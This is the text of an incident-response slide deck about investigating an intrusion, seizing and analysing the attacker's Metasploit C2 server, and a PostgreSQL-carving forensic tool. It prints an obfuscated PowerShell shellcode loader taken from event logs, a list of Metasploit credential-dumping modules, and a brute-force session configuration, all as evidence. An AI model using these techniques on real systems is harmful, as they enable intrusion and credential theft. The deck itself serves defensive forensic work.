1© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Honey, I Stole Your C2 Server
A Dive Into Attacker Infrastructure
2© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
About Me
• Senior Consultant – Mandiant, a
FireEye Company
• Focus on incident response
• Email: andrew.rector@mandiant.com
• Twitter: @andy_rektor
3© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Agenda
 Summary of an enterprise
investigation
 Analysis of a Command and Control
(C2) server
 PostGrok: A post-mortem Python
project
4© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
SUMMARY OF THE ATTACK
5© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
A Typical Mandiant Investigation
 Client calls
 Deploy technology
 Find evil, solve crime
 Eradicate the attacker
 Post-remediation monitoring
 Sayonara
6© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
This Investigation
 Standard beginning to any
investigation…
- Fortune 500 financial client
contacts Mandiant
- September 2016
- Identified “strange” service
installations…
7© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Investigation Details
7045 | Information | A service was installed in
the system. Service Name: NlCDHxYwMDHIOjtS
Service File Name: %COMSPEC% /C start %COMSPEC%
/C powershell.exe -NoE -NoP -NonI -
ExecutionPolicy Bypass -C "sal a New-Object;iex(a
IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Co
nvert]::FromBase64String(“SSByZWFsbHkgaG9wZSB5b3W
SdmUgbWlzc2VkIG1lIGEgbG90LiBUaG91Z2ggSSBzZWUgdGhl
eSBkaWRuknQgbGV0IHlvdSBmb3JnZXQgbXkgbmFt…==”)
8© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Investigation Details
7045 | Information | A service was installed in
the system. Service Name: NlCDHxYwMDHIOjtS
Service File Name: %COMSPEC% /C start %COMSPEC%
/C powershell.exe -NoE -NoP -NonI -
ExecutionPolicy Bypass -C "sal a New-Object;iex(a
IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Co
nvert]::FromBase64String(“SSByZWFsbHkgaG9wZSB5b3W
SdmUgbWlzc2VkIG1lIGEgbG90LiBUaG91Z2ggSSBzZWUgdGhl
eSBkaWRuknQgbGV0IHlvdSBmb3JnZXQgbXkgbmFt…==”)
9© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Investigation Details
• Intelligence-led scoping
• Metasploit based indicators
• Non-standard workstation
names
• Service installations
containing:
• %comspec%
• PowerShell
• Base64 encoding
4624 | Audit Success | An
account was successfully
logged on. <data> -
Network Information:
Workstation Name:
QmMhuLYFzfNVblK2 Source
Network Address:
10.10.10.10 Source Port:
3283 Detailed
Authentication Information:
Logon Process: NtLmSsp
Authentication Package:
NTLM Transited Services: -
Package Name (NTLM only):
NTLM V2 Key Length: 0
10© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Investigation Summary
 72 long hours later…
- 129 systems Identified
- 116 compromised accounts
- Initial attack vector identified
11© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
ANALYSIS OF A C2 SERVER
12© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Two-sided Perspective
 The responder’s perspective
- Incident response investigation
 The attacker’s perspective
- Command and Control (C2) server
13© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Back to That Service Installation
7045 | Information | A service was installed in the
system. Service Name: NlCDHxYwMDHIOjtS Service
File Name: %COMSPEC% /C start %COMSPEC% /C
powershell.exe -NoE -NoP -NonI -ExecutionPolicy
Bypass -C "sal a New-Object;iex(a
IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Conv
ert]::FromBase64String(“SSByZ…==”);IEX (New-Object
IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.Compre
ssionMode]::Decompress))).ReadToEnd();…
14© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Decoding Obfuscated Code
 Identify base64 encoded data
 Identify compression scheme
15© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Decoding Obfuscated Code
7045 | Information | A service was installed in the
system. Service Name: NlCDHxYwMDHIOjtS Service
File Name: %COMSPEC% /C start %COMSPEC% /C
powershell.exe -NoE -NoP -NonI -ExecutionPolicy
Bypass -C "sal a New-Object;iex(a
IO.StreamReader((a
IO.Compression.DeflateStream([IO.MemoryStream][Conv
ert]::FromBase64String(“SSByZ…==”);IEX (New-Object
IO.StreamReader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.Compre
ssionMode]::Decompress))).ReadToEnd();…
16© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Decoding Obfuscated Code
 Decode base64 encoded layer 2 function
function pwej6xjR {
Param ($oID, $fP4L8tiY5H)
$d9V = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-
Object { $_.GlobalAssemblyCache -And $_.Location.Split('')[-
1].Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods’)
<snipped>
[Byte[]]$uGTfyXcU4 =
[System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItS
YEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxI
AdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI…==")
17© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Decoding Obfuscated Code
 Disassemble shellcode
 Identify network calls
 Convert network byte
order to ascii
18© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Provide Decoded IP to Client
 Provide decoded IP to client
C2 IP Address
19© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
A Familiar IP
 Client recognizes IP owner
 Described as a “small time competitor”
20© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Client Asks For C2 Server
21© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Client Receives Entire Server
22© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Mandiant Images Server
23© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Forensic Analysis
 Windows Server 2008
- Attacker created their own user account
- Privilege escalation and credential harvesting
- Best of all…
• Downloaded VMWare Workstation
• Downloaded Kali Linux ISO
• Installed Kali VM – July 2016
• Two months before attack starts
24© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Forensic Analysis
 Investigation inception
- Focus on Kali
- Export VM
- Rinse, wash, repeat
25© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Forensic Analysis
 Kali VM
- Valuable secure logs
- Meterpreter configuration file
- SQLMap – Detecting and
exploiting SQL flaws
- BeEF – The Browser Exploitation
Framework
- Revealing keyword searches
- PostgreSQL history contained
some interesting data
createuser msf -P -S -R -D
createdb -O msf msf
exit
dropdb msf
dropuser msf
dropdb ms_test
dropuser msf
createuser msf -P -S -R -D
createdb -O msf msf
exit
dropdb
dropdb msf
createdb msf
exit
26© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Metasploit and PostgreSQL
 PostgreSQL command history tells a story
 PostgreSQL is messy
- /var/lib/postgresql/<version>/main/base
- Collection of binary files
- Publicly available parser doesn’t exist
27© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Boot Up
 It’s a VM… what if we just boot up the VM and access
the DB directly?
- Password protected
- Single User Mode
- Change PW
- Profit
28© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
I AM THE ATTACKER
Got
System
Impersonate
Attacker
29© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Metasploit… For IR?
 Leverage PostgreSQL history to
obtain critical DB info
 Leverage MSFConsole to interact
with PostgreSQL DB
createuser msf -P -S -R -D
createdb -O msf msf
exit
dropdb msf
dropuser msf
dropdb ms_test
dropuser msf
createuser msf -P -S -R -D
createdb -O msf msf
exit
dropdb
dropdb msf
createdb msf
exit
30© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Metasploit DB Commands
Command Function
Creds List all credentials in the database
Hosts List all hosts in the database
Loot Information gained from post-exploitation modules
Notes Information from reconnaissance and network enumeration
Services Services running on identified hosts
Vulns Vulnerabilities identified, and exploitation status
31© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Shenanigans
 Good… but not great
- Not everything had timestamps
- Wanted even more detail
 Directly accessing the DB and bypassing Metasploit is
the better way to go
- DB via psql – psql –U msf –h localhost
- And…
32© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
SO MANY TABLES!
33© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Metasploit Credential Publics
34© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Metasploit Credential Realms
35© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Sessions
36© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Sessions Decoded
..{$".WORKSPACEI"..:.EF".VERBOSEI" true.;.F"
USERNAME".Ultra<REDACTED>"
PASSWORD".<REDACTED>".USER_FILEI"..;.F".PASS_FILEI"..;.F".USERPASS_FILEI"..;.F".B
RUTEFORCE_SPEEDI".5.;.F".BLANK_PASSWORDSI"
false.;.F".USER_AS_PASSI"
false.;.F".DB_ALL_CREDSI"
false.;.F".DB_ALL_USERSI"
false.;.F".DB_ALL_PASSI"
false.;.F".STOP_ON_SUCCESSI"
false.;.F".REMOVE_USER_FILEI"
false.;.F".REMOVE_PASS_FILEI"
false.;.F".REMOVE_USERPASS_FILEI"
false.;.F".MaxGuessesPerServiceI".0.;.F".MaxMinutesPerServiceI".0.;.F".MaxGuesses
PerUserI".0.;.F".InitialAutoRunScript".".AutoRunScript".".RHOSTS".<company.domain
.com>".THREADSI".50.;.F".ShowProgressI"
true.;.F".ShowProgressPercentI".10.;.FI"
RPORT.;.FI".22.;.FI".Proxies.;.FI"..;.F".SSH_DEBUGI"
false.;.F".SSH_TIMEOUTI".30.;.F"
RHOSTI".<Remote IP Address>.;.F
37© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Case Solved
 A complete timeline
 A perspective from two sides:
- The investigator
- The attacker!
 Happy client, happy consultant
38© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
POSTGROK: A POST-MORTEM
PYTHON PROJECT
39© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Identifying Additional Victims
 BUT WAIT…
- Attacker had access to C2 server since July 2016
- PostgreSQL history contained evidence of prior DBs
- Is there any way to recover deleted DBs?
40© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Identifying Additional Victims
 At least three deleted PostgreSQL
databases
- Data verified via keyword searches
 Has anyone ever tried to recover
PostgreSQL databases?
- Research didn’t identify anything
obvious
- One project that was a work in
progress, but not as much focus on
PostgreSQL
createuser msf -P -S -R -D
createdb -O msf msf
exit
dropdb msf
dropuser msf
dropdb ms_test
dropuser msf
createuser msf -P -S -R -D
createdb -O msf msf
exit
dropdb
dropdb msf
createdb msf
exit
41© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Identifying Additional Victims
 Python Hobbyist
- PostgreSQL is Open Source
- Went on a journey to read C
- Created PostGrok to carve all
PostgreSQL rows from a flat binary
file (raw image)
42© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Down the PostgreSQL Rabbit Hole
43© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Terms and Definitions
 Anatomy of a PostgreSQL DB
- Tables
- Page (page header)
- Row pointers
- Free space
- Row entry
44© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
A PostgreSQL Page
Color Meaning
Red Table Header
Blue Row Pointers
Yellow Null Space
Purple Row Data
45© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Page Header
 Table header
- 24 byte structure
- Version info
- # of rows = (pd_lower – 24)/24
Version
PD_Lower
46© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Row Pointers
 Row pointers
- Four byte structures
- Contains offset and size of row
47© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Page Free Space
 Free space
- New row pointers added from start of free space
- New row data added to the end
48© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Row
 Row entry
- 24 byte header
- Row data
Row Header
49© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostgreSQL Row Header
 Row header
- Row insertion ID
- Row deletion ID
- Number of attributes
- Offset of row data
Deletion ID
Insertion ID # of Attributes
Row data offset
50© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Row Data
 Row data
- Integers
- Dates and times
- Variable length strings
51© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostGrok Capabilities
 PostGrok
- A Python tool that thoroughly understands PostgreSQL
 Capabilities:
- Carve PostgreSQL rows from a flat, binary file
- Keyword searching
- Exports to CSV or XLSX
- Officially support version 9.5
52© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
https://github.com/arector327/PostGrok
53© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
PostGrok Findings
 PostGrok helped identify:
- Full Meterpreter sessions from
campaigns occurring in:
• July 2016
• August 2016
• September 2016
- 1,428 compromised credentials
- 48 enumerated domains
54© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Top Post-Exploitation Modules
Module Frequency Function
run post/windows/gather/credentials/sso 81 Extract SSO credentials
run post/windows/gather/enum_ad_computers 26
Enumerates systems in the default AD
directory
run post/windows/gather/enum_domains 24 Enumerates domains a host has visibility into
run post/windows/gather/smart_hashdump 14 Dumps local accounts from SAM database
run post/multi/gather/filezilla_client_cred 11 Collects credentials from FileZilla FTP client
run post/windows/gather/credentials/gpp 8 Gathers GPP XML files and extracts pw’s
run post/windows/gather/credentials/credential_collector 7 Extracts credentials from host
run post/windows/gather/credentials/outlook 4
Extracts and decrypts Outlook passwords
from the Windows Registry
run post/windows/gather/credentials/tortoisesvn 4
Extracts and decrypts saved TortoiseSVN
pw’s
55© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Attacker Creates User Accounts
Attacker creates user account “mava2” on victim system
56© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Attacker Uploaded Webshells
Attacker uploads “ntdaddy.php” and “cmd.php” to victim web server
57© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Attacker Data Theft
Attacker downloads file “wifi_pass.xlsx” from victim workstation
Attacker views contents of “FileZilla.txt” and downloads “23.7.2016.xls”
58© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Attacker Tradecraft
Attacker executes PsExec, creates reverse shell using NetCat
59© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Attacker Tradecraft (cont.)
Attacker attempts to unzip the archive “file.zip”, is unsuccessful and
downloads DLL from another compromised web server
60© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Summary
 Mandiant investigated an intrusion conducted by an
unknown attacker
 Obtained a C2 server, and performed forensic analysis
 Developed a tool to carve PostgreSQL rows from an
image
61© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
Takeaways
 Metasploit gets the job done
 Operational security
 Just ask
62© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL
QUESTIONS?

Honey, I Stole Your C2 Server: A Dive into Attacker Infrastructure

  • 1.
    1© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL Honey, I Stole Your C2 Server A Dive Into Attacker Infrastructure
  • 2.
    2© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL About Me • Senior Consultant – Mandiant, a FireEye Company • Focus on incident response • Email: andrew.rector@mandiant.com • Twitter: @andy_rektor
  • 3.
    3© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Agenda  Summary of an enterprise investigation  Analysis of a Command and Control (C2) server  PostGrok: A post-mortem Python project
  • 4.
    4© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL SUMMARY OF THE ATTACK
  • 5.
    5© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL A Typical Mandiant Investigation  Client calls  Deploy technology  Find evil, solve crime  Eradicate the attacker  Post-remediation monitoring  Sayonara
  • 6.
    6© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL This Investigation  Standard beginning to any investigation… - Fortune 500 financial client contacts Mandiant - September 2016 - Identified “strange” service installations…
  • 7.
    7© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Investigation Details 7045 | Information | A service was installed in the system. Service Name: NlCDHxYwMDHIOjtS Service File Name: %COMSPEC% /C start %COMSPEC% /C powershell.exe -NoE -NoP -NonI - ExecutionPolicy Bypass -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Co nvert]::FromBase64String(“SSByZWFsbHkgaG9wZSB5b3W SdmUgbWlzc2VkIG1lIGEgbG90LiBUaG91Z2ggSSBzZWUgdGhl eSBkaWRuknQgbGV0IHlvdSBmb3JnZXQgbXkgbmFt…==”)
  • 8.
    8© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Investigation Details 7045 | Information | A service was installed in the system. Service Name: NlCDHxYwMDHIOjtS Service File Name: %COMSPEC% /C start %COMSPEC% /C powershell.exe -NoE -NoP -NonI - ExecutionPolicy Bypass -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Co nvert]::FromBase64String(“SSByZWFsbHkgaG9wZSB5b3W SdmUgbWlzc2VkIG1lIGEgbG90LiBUaG91Z2ggSSBzZWUgdGhl eSBkaWRuknQgbGV0IHlvdSBmb3JnZXQgbXkgbmFt…==”)
  • 9.
    9© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Investigation Details • Intelligence-led scoping • Metasploit based indicators • Non-standard workstation names • Service installations containing: • %comspec% • PowerShell • Base64 encoding 4624 | Audit Success | An account was successfully logged on. <data> - Network Information: Workstation Name: QmMhuLYFzfNVblK2 Source Network Address: 10.10.10.10 Source Port: 3283 Detailed Authentication Information: Logon Process: NtLmSsp Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V2 Key Length: 0
  • 10.
    10© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Investigation Summary  72 long hours later… - 129 systems Identified - 116 compromised accounts - Initial attack vector identified
  • 11.
    11© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL ANALYSIS OF A C2 SERVER
  • 12.
    12© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Two-sided Perspective  The responder’s perspective - Incident response investigation  The attacker’s perspective - Command and Control (C2) server
  • 13.
    13© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Back to That Service Installation 7045 | Information | A service was installed in the system. Service Name: NlCDHxYwMDHIOjtS Service File Name: %COMSPEC% /C start %COMSPEC% /C powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Conv ert]::FromBase64String(“SSByZ…==”);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.Compre ssionMode]::Decompress))).ReadToEnd();…
  • 14.
    14© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Decoding Obfuscated Code  Identify base64 encoded data  Identify compression scheme
  • 15.
    15© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Decoding Obfuscated Code 7045 | Information | A service was installed in the system. Service Name: NlCDHxYwMDHIOjtS Service File Name: %COMSPEC% /C start %COMSPEC% /C powershell.exe -NoE -NoP -NonI -ExecutionPolicy Bypass -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Conv ert]::FromBase64String(“SSByZ…==”);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.Compre ssionMode]::Decompress))).ReadToEnd();…
  • 16.
    16© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Decoding Obfuscated Code  Decode base64 encoded layer 2 function function pwej6xjR { Param ($oID, $fP4L8tiY5H) $d9V = ([AppDomain]::CurrentDomain.GetAssemblies() | Where- Object { $_.GlobalAssemblyCache -And $_.Location.Split('')[- 1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods’) <snipped> [Byte[]]$uGTfyXcU4 = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItS YEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxI AdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI…==")
  • 17.
    17© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Decoding Obfuscated Code  Disassemble shellcode  Identify network calls  Convert network byte order to ascii
  • 18.
    18© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Provide Decoded IP to Client  Provide decoded IP to client C2 IP Address
  • 19.
    19© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL A Familiar IP  Client recognizes IP owner  Described as a “small time competitor”
  • 20.
    20© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Client Asks For C2 Server
  • 21.
    21© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Client Receives Entire Server
  • 22.
    22© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Mandiant Images Server
  • 23.
    23© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Forensic Analysis  Windows Server 2008 - Attacker created their own user account - Privilege escalation and credential harvesting - Best of all… • Downloaded VMWare Workstation • Downloaded Kali Linux ISO • Installed Kali VM – July 2016 • Two months before attack starts
  • 24.
    24© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Forensic Analysis  Investigation inception - Focus on Kali - Export VM - Rinse, wash, repeat
  • 25.
    25© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Forensic Analysis  Kali VM - Valuable secure logs - Meterpreter configuration file - SQLMap – Detecting and exploiting SQL flaws - BeEF – The Browser Exploitation Framework - Revealing keyword searches - PostgreSQL history contained some interesting data createuser msf -P -S -R -D createdb -O msf msf exit dropdb msf dropuser msf dropdb ms_test dropuser msf createuser msf -P -S -R -D createdb -O msf msf exit dropdb dropdb msf createdb msf exit
  • 26.
    26© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Metasploit and PostgreSQL  PostgreSQL command history tells a story  PostgreSQL is messy - /var/lib/postgresql/<version>/main/base - Collection of binary files - Publicly available parser doesn’t exist
  • 27.
    27© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Boot Up  It’s a VM… what if we just boot up the VM and access the DB directly? - Password protected - Single User Mode - Change PW - Profit
  • 28.
    28© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL I AM THE ATTACKER Got System Impersonate Attacker
  • 29.
    29© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Metasploit… For IR?  Leverage PostgreSQL history to obtain critical DB info  Leverage MSFConsole to interact with PostgreSQL DB createuser msf -P -S -R -D createdb -O msf msf exit dropdb msf dropuser msf dropdb ms_test dropuser msf createuser msf -P -S -R -D createdb -O msf msf exit dropdb dropdb msf createdb msf exit
  • 30.
    30© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Metasploit DB Commands Command Function Creds List all credentials in the database Hosts List all hosts in the database Loot Information gained from post-exploitation modules Notes Information from reconnaissance and network enumeration Services Services running on identified hosts Vulns Vulnerabilities identified, and exploitation status
  • 31.
    31© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Shenanigans  Good… but not great - Not everything had timestamps - Wanted even more detail  Directly accessing the DB and bypassing Metasploit is the better way to go - DB via psql – psql –U msf –h localhost - And…
  • 32.
    32© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL SO MANY TABLES!
  • 33.
    33© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Metasploit Credential Publics
  • 34.
    34© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Metasploit Credential Realms
  • 35.
    35© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Sessions
  • 36.
    36© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Sessions Decoded ..{$".WORKSPACEI"..:.EF".VERBOSEI" true.;.F" USERNAME".Ultra<REDACTED>" PASSWORD".<REDACTED>".USER_FILEI"..;.F".PASS_FILEI"..;.F".USERPASS_FILEI"..;.F".B RUTEFORCE_SPEEDI".5.;.F".BLANK_PASSWORDSI" false.;.F".USER_AS_PASSI" false.;.F".DB_ALL_CREDSI" false.;.F".DB_ALL_USERSI" false.;.F".DB_ALL_PASSI" false.;.F".STOP_ON_SUCCESSI" false.;.F".REMOVE_USER_FILEI" false.;.F".REMOVE_PASS_FILEI" false.;.F".REMOVE_USERPASS_FILEI" false.;.F".MaxGuessesPerServiceI".0.;.F".MaxMinutesPerServiceI".0.;.F".MaxGuesses PerUserI".0.;.F".InitialAutoRunScript".".AutoRunScript".".RHOSTS".<company.domain .com>".THREADSI".50.;.F".ShowProgressI" true.;.F".ShowProgressPercentI".10.;.FI" RPORT.;.FI".22.;.FI".Proxies.;.FI"..;.F".SSH_DEBUGI" false.;.F".SSH_TIMEOUTI".30.;.F" RHOSTI".<Remote IP Address>.;.F
  • 37.
    37© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Case Solved  A complete timeline  A perspective from two sides: - The investigator - The attacker!  Happy client, happy consultant
  • 38.
    38© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL© Mandiant, a FireEye Company. All rights reserved. CONFIDENTIAL POSTGROK: A POST-MORTEM PYTHON PROJECT
  • 39.
    39© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Identifying Additional Victims  BUT WAIT… - Attacker had access to C2 server since July 2016 - PostgreSQL history contained evidence of prior DBs - Is there any way to recover deleted DBs?
  • 40.
    40© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Identifying Additional Victims  At least three deleted PostgreSQL databases - Data verified via keyword searches  Has anyone ever tried to recover PostgreSQL databases? - Research didn’t identify anything obvious - One project that was a work in progress, but not as much focus on PostgreSQL createuser msf -P -S -R -D createdb -O msf msf exit dropdb msf dropuser msf dropdb ms_test dropuser msf createuser msf -P -S -R -D createdb -O msf msf exit dropdb dropdb msf createdb msf exit
  • 41.
    41© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Identifying Additional Victims  Python Hobbyist - PostgreSQL is Open Source - Went on a journey to read C - Created PostGrok to carve all PostgreSQL rows from a flat binary file (raw image)
  • 42.
    42© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Down the PostgreSQL Rabbit Hole
  • 43.
    43© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Terms and Definitions  Anatomy of a PostgreSQL DB - Tables - Page (page header) - Row pointers - Free space - Row entry
  • 44.
    44© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL A PostgreSQL Page Color Meaning Red Table Header Blue Row Pointers Yellow Null Space Purple Row Data
  • 45.
    45© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Page Header  Table header - 24 byte structure - Version info - # of rows = (pd_lower – 24)/24 Version PD_Lower
  • 46.
    46© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Row Pointers  Row pointers - Four byte structures - Contains offset and size of row
  • 47.
    47© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Page Free Space  Free space - New row pointers added from start of free space - New row data added to the end
  • 48.
    48© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Row  Row entry - 24 byte header - Row data Row Header
  • 49.
    49© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostgreSQL Row Header  Row header - Row insertion ID - Row deletion ID - Number of attributes - Offset of row data Deletion ID Insertion ID # of Attributes Row data offset
  • 50.
    50© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL Row Data  Row data - Integers - Dates and times - Variable length strings
  • 51.
    51© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostGrok Capabilities  PostGrok - A Python tool that thoroughly understands PostgreSQL  Capabilities: - Carve PostgreSQL rows from a flat, binary file - Keyword searching - Exports to CSV or XLSX - Officially support version 9.5
  • 52.
    52© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL https://github.com/arector327/PostGrok
  • 53.
    53© Mandiant, aFireEye Company. All rights reserved. CONFIDENTIAL PostGrok Findings  PostGrok helped identify: - Full Meterpreter sessions from campaigns occurring in: • July 2016 • August 2016 • September 2016 - 1,428 compromised credentials - 48 enumerated domains
  • 54.
